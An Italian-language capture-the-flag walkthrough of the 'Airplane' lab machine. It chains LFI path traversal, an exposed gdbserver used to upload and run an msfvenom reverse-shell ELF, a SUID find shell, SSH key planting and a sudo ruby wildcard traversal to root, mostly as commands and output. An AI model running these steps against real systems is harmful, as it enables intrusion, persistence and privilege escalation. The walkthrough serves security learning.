

Scansioniamo e otteniamo le seguenti porte

22  
8000

Enumeriamo il contenuto della 8000

```
$ gobuster dir -k -u http://airplane.thm:8000/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -x html
```

Gobuster v3.6

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

```
[+] Url: http://airplane.thm:8000/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html
[+] Timeout: 10s
```

Starting gobuster in directory enumeration mode

```
/airplane (Status: 200) [Size: 655]
Progress: 40952 / 40954 (100.00%)
```

Riusciamo a sfruttare la vulnerabilità LFI sul parametro ?page=

```
GET /?page=../../../../../../../../etc/passwd HTTP/1.1
Host: airplane.thm:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
```

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
```

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin  
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin  
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin  
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin  
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin  
messagebus:x:103:106:./nonexistent:/usr/sbin/nologin  
syslog:x:104:110:./home/syslog:/usr/sbin/nologin  
\_apt:x:105:65534:./nonexistent:/usr/sbin/nologin  
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false  
uidd:x:107:114:./run/uidd:/usr/sbin/nologin  
tcpdump:x:108:115:./nonexistent:/usr/sbin/nologin  
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin  
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin  
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin  
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin  
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin  
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false  
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin  
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/usr/sbin/nologin  
saned:x:117:123:./var/lib/saned:/usr/sbin/nologin  
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin  
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false  
whoopsie:x:120:125:./nonexistent:/bin/false  
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin  
fwupd-refresh:x:122:127:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin  
geoclue:x:123:128:./var/lib/geoclue:/usr/sbin/nologin  
pulse:x:124:129:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin  
gnome-initial-setup:x:125:65534:./run/gnome-initial-setup:/bin/false  
gdm:x:126:131:Gnome Display Manager:/var/lib/gdm3:/bin/false  
sssd:x:127:132:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin  
carlos:x:1000:1000:carlos,,,:/home/carlos:/bin/bash  
systemd-coredump:x:999:999:systemd Core Dumper:./usr/sbin/nologin  
hudson:x:1001:1001:./home/hudson:/bin/bash  
sshd:x:128:65534:./run/sshd:/usr/sbin/nologin

Tramite la variabile d'ambiente troviamo l'utente con cui è in esecuzione il processo python

23	/proc/self/environ	200	158	806
3	/etc/hosts	200	68	594
24	/proc/version	200	158	524
25	/proc/cmdline	200	101	503
5	/etc/issue	200	70	388
4	/etc/motd	200	104	187
6	/etc/bashrc	200	155	187
7	/etc/apache2/apache2.conf	200	137	187
8	/etc/apache2/ports.conf	200	135	187
9	/etc/apache2/sites-available/default	200	135	187

Request		Response	
Pretty	Raw	Hex	Render
1	HTTP/1.1 200 OK		
2	Server: Werkzeug/3.0.2 Python/3.8.10		
3	Date: Fri, 07 Jun 2024 19:34:15 GMT		
4	Content-Disposition: inline; filename=environ		
5	Content-Type: application/octet-stream		
5	Content-Length: 437		
7	Last-Modified: Fri, 07 Jun 2024 19:34:15 GMT		
8	Cache-Control: no-cache		
9	ETag: "1717788855.4080572-0-217649763"		
1	Date: Fri, 07 Jun 2024 19:34:15 GMT		
1	Connection: close		
2	LANG=en_US.UTF-8LC_ADDRESS=tr_TR.UTF-8LC_IDENTIFICATION=tr_TR.UTF-8LC_MEASUREMENT=tr_TR.UTF-8LC_MONETARY=tr_TR.UTF-8LC_NAME=tr_TR.UTF-8LC_NUMERIC=tr_TR.UTF-8LC_TIME=tr_TR.UTF-8PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binHOME=/home/hudsonLOGNAME=hudsonUSER=hudsonSHELL=/bin/bashINVOCATION_ID=00c56e4c5e7e4b39bc0d91ecf8631e80		
3	REAME=9:19795		

INVOCATION\_ID=00c56e4c5e7e4b39bc0d91ecf8631e80

essendo python proviamo il path di default dell'app

795	/var/log/syslog.1
393	/proc/self/cmdline
160	/etc/issue
161	/etc/issue

Request		Response	
Pretty	Raw	Hex	Render
1	HTTP/1.1 200 OK		
2	Server: Werkzeug/3.0.2 Python/3.8.10		
3	Date: Fri, 07 Jun 2024 19:59:16 GMT		
4	Content-Disposition: inline; filename=cmdline		
5	Content-Type: application/octet-stream		
5	Content-Length: 24		
7	Last-Modified: Fri, 07 Jun 2024 19:28:16 GMT		
8	Cache-Control: no-cache		
9	ETag: "1717788496.0080447-0-208736830"		
3	Date: Fri, 07 Jun 2024 19:59:16 GMT		
1	Connection: close		
2			
3	/usr/bin/python3app.py		

struttura standard

```
my_app/
|
├─ app.py
├─ config.py
├─ requirements.txt
├─ README.md
|
├─ static/
|   ├─ css/
|   │   └─ style.css
|   └─ js/
|       └─ script.js
|
├─ templates/
|   ├─ index.html
|   └─ about.html
|
└─ tests/
    ├─ test_app.py
    └─ test_utils.py
```



GET /?page=../../../../../home/hudson/app/app.py HTTP/1.1

Host: airplane.thm:8000

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Connection: keep-alive

Upgrade-Insecure-Requests: 1

-----

```
from flask import Flask, send_file, redirect, render_template, request
import os.path
```

```
app = Flask(__name__)
```

```

@app.route('/')
def index():
    if 'page' in request.args:
        page = 'static/' + request.args.get('page')

        if os.path.isfile(page):
            resp = send_file(page)
            resp.direct_passthrough = False

            if os.path.getsize(page) == 0:
                resp.headers["Content-Length"] = str(len(resp.get_data()))

            return resp

        else:
            return "Page not found"

    else:
        return redirect('http://airplane.thm:8000/?page=index.html', code=302)

```

```

@app.route('/airplane')
def airplane():
    return render_template('airplane.html')

```

```

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

```

-----

nessuna eval() e exec() per inject codice python

Enumeriamo e cerchiamo password? ssh? flag? o RCE?

GET /?page=../../../../../../home/hudson/app/static/index.html

Vediamo il contenuto di airplane.html

```

pretty    Raw    Hex
GET /?page=../../../../../../home/hudson/app/templates/airplane.html HTTP/1.1
Host: airplane.thm:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox
Accent

```

verifichiamo i processi per capire cosa sta girando

```
1 GET /?page=../../../../../../../../proc/$[PID]/cmdline HTTP/1.1
2 Host: airplane.thm:8000
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Connection: keep-alive
8 Upgrade-Insecure-Requests: 1
9
10
```

brute force pid

PrettyRawHex

1 GET /?page=../../../../../../../../proc/522/cmdline HTTP/1.1
2 Host: airplane.thm:8000
3 User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:109.0) Gecko/20100101 Firefox/115.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Connection: keep-alive
8 Upgrade-Insecure-Requests: 1
9
10

338	338	200	83	410
522	522	200	286	409
488	488	200	90	409

RequestResponse

PrettyRawHexRender

1 HTTP/1.1 200 OK
2 Server: Werkzeug/3.0.2 Python/3.8.10
3 Date: Fri, 07 Jun 2024 20:30:26 GMT
4 Content-Disposition: inline; filename=cmdline
5 Content-Type: application/octet-stream
6 Content-Length: 41
7 Last-Modified: Fri, 07 Jun 2024 19:28:18 GMT
8 Cache-Control: no-cache
9 ETag: "1717788498.080045-0-4081914157"
10 Date: Fri, 07 Jun 2024 20:30:26 GMT
11 Connection: close
12
13 /usr/bin/gdbserver0.0.0.0:6048airplane

sulla 6048 è in ascolto GDB. Proviamo a collegarci con il nostro locale ed eseguire comandi remoti. Seguiamo il POC di hacktricks

https://book.hacktricks.xyz/network-services-pentesting/pentesting-remote-gdbserver

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```
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10 LPORT=4444 PrependFork=true -f elf

chmod +x binary.elf

gdb binary.elf

# Set remote debugger target
target extended-remote 10.10.10.11:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell
```

Basic Information

Exploitation

Upload and Execute

Execute arbitrary cc

Was this helpful?

Edit on GitHub

```
(venom@kali)-[~/Desktop]
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.8.8.53 LPORT=4444 PrependFork=true -f elf -o mio.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 106 bytes
Final size of elf file: 226 bytes
Saved as: mio.elf

(venom@kali)-[~/Desktop]
$ chmod +x mio.elf
```

```
(venom@kali)-[~/Desktop]
$ gdb mio.elf
GNU gdb (Debian 13.2-1+b1) 13.2
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word" ...
Reading symbols from mio.elf...
(gdb) target extended-remote airplane.thm:6048
Remote debugging using airplane.thm:6048
(gdb) remote put mio.elf mio.elf
Remote I/O error: Permission denied
(gdb) remote put mio.elf /tmp/mio.elf
Successfully sent file "mio.elf".
(gdb) set remote exec-file /tmp/mio.elf
(gdb) run
Starting program: /home/venom/Desktop/mio.elf
Reading /usr/lib/debug/.build-id/e9/8c2a320466a026c0a0236da38a5156f9b8cb54.debug from remote target ...
warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead.
[Detaching after fork from child process 255031]
[Inferior 1 (process 255030) exited normally]
(gdb)
```

```
(venom@kali)-[~/Desktop]
$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.8.8.53] from (UNKNOWN) [10.1
id
uid=1001(hudson) gid=1001(hudson) groups=10
ls
airplane
cd /home
ls
carlos
hudson
```

```
/usr/bin/python3
python3 -c "import pty;pty.spawn('/bin/bash');"
```

```
total 78
1049223 4 drwxr-xr-x 16 hudson hudson 4096 Apr 17 08:35 .
1048577 4 drwxr-xr-x  4 root   root   4096 Apr 17 07:58 ..
1049883 0 lrwxrwxrwx  1 root   root    9 Apr 17 08:35 .bash_history -> /dev/null
1049226 4 -rw-r--r--  1 hudson hudson 220 Feb 25 2020 .bash_logout
1049225 4 -rw-r--r--  1 hudson hudson 3771 Feb 25 2020 .bashrc
1049295 4 drwx----- 11 hudson hudson 4096 Apr 17 08:01 .cache
1049289 4 drwx----- 11 hudson hudson 4096 Apr 17 08:02 .config
1049300 4 drwx-----  3 hudson hudson 4096 Apr 17 08:00 .gnupg
1049296 4 drwx-----  3 hudson hudson 4096 Apr 17 08:00 .local
1049224 4 -rw-r--r--  1 hudson hudson 807 Feb 25 2020 .profile
1049540 4 drwx-----  2 hudson hudson 4096 Apr 17 08:00 .ssh
1049310 4 drwxr-xr-x  2 hudson hudson 4096 Apr 17 08:00 Desktop
1049314 4 drwxr-xr-x  2 hudson hudson 4096 Apr 17 08:00 Documents
1049311 4 drwxr-xr-x  2 hudson hudson 4096 Apr 17 08:00 Downloads
1049315 4 drwxr-xr-x  2 hudson hudson 4096 Apr 17 08:00 Music
1049316 4 drwxr-xr-x  2 hudson hudson 4096 Apr 17 08:00 Pictures
1049313 4 drwxr-xr-x  2 hudson hudson 4096 Apr 17 08:00 Public
1049312 4 drwxr-xr-x  2 hudson hudson 4096 Apr 17 08:00 Templates
1049317 4 drwxr-xr-x  2 hudson hudson 4096 Apr 17 08:00 Videos
1049547 4 drwxrwxr-x  5 hudson hudson 4096 Apr 10 2023 app
hudson@airplane:/home/hudson$ id
id
uid=1001(hudson) gid=1001(hudson) groups=1001(hudson)
hudson@airplane:/home/hudson$
```

[Movimento Laterale]

carichiamo linpeas.sh



## Files with Interesting Permissions

### SUID - Check easy privesc, exploits and write perms

<https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid>

```
-rwsr-xr-x 1 carlos carlos 313K Feb 18 2020 /usr/bin/find
-rwsr-xr-x 1 root root 163K Apr 4 2023 /usr/bin/sudo → check if the sudo version
```

## SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which find) .
./find . -exec /bin/sh -p \; -quit
```

```
hudson@airplane:/tmp$ /usr/bin/find /home/carlos/.ssh
/usr/bin/find /home/carlos/.ssh
/home/carlos/.ssh
/home/carlos/.ssh/id_rsa
```

```
/usr/bin/find . -exec /bin/sh -p \; -quit
$ id
id
uid=1001(hudson) gid=1001(hudson) euid=1000(carlos) groups=1001(hudson)
$
```

cd /home/carlos

\$ cat user.txt

eebfca2ca\*\*\*\*\*

in .ssh non è presente id\_rsa. Copiamo allora la nostra chiave pub

```
authorized_keys id_rsa
$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGC1lQp9JeAViLXbdnib4HPXD4VGm3KwY4hKn0FGkofRcaVaBEWapbUy0qgg78BnPP9vQLx+171pp8ezBoszjQwZkXt300UZTmdFiAeFJE+buV8Y0inYw5yQbEKH/6/ffEu0RZof1TMxrwk1C2DVA7iLF1y00+qmILiLbdRfpmSjaGJBsGDNwCUJkrbnJKZVDyGSJRPpbLy2Jz0pbB9Dn/0BZd2wLL1R40JW2bnHlcmB2XGJrGajWfRhyakFQicx2Siiuqz5upGBX61DbWnZ+Xk0A4H0IukoVr7pTxhEEgWFcBLf7Cj3hQL686i0m4R04GAcirx0aRI2ATQZDKTnsodHUQ8coFgm/5uIFygEcQRzZGNMSysJYSUtvUA+GiN25FxrVvzQ0iB6aGNthCDWjmtc4BmasXU6+rWLIxW5sS1RJ7/MJMwNonlKblVaUA3Y6YytSs48bE3rkSKot+90C2W7XKGitSj4nU5VvkWlZ08vQT6NpjvyNlHD6Ctj2tgEKMK= venom@kali" > authorized_keys
```

accediamo con SSH come carlos ed eseguiamo sudo -l

```
1048650 4 drwxr-xr-x 2 Carlos Carlos 4096 Nis 17 07:44 Videos
carlos@airplane:~$ sudo -l
Matching Defaults entries for carlos on airplane:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User carlos may run the following commands on airplane:
    (ALL) NOPASSWD: /usr/bin/ruby /root/*.rb
```

```
carlos@airplane:~$ sudo -l
Matching Defaults entries for carlos on airplane:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User carlos may run the following commands on airplane:
    (ALL) NOPASSWD: /usr/bin/ruby /root/*.rb
```

creiamo nella nostra cartella il file shell.rb

```
carlos@airplane:~$ echo "system('/bin/sh')" > shell.rb
```

sfruttiamo l'asterisco tramite un directory traversal

```
carlos@airplane:~$ sudo /usr/bin/ruby /root/../home/carlos/shell.rb
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# cat root.txt
190dcbeb688*****
```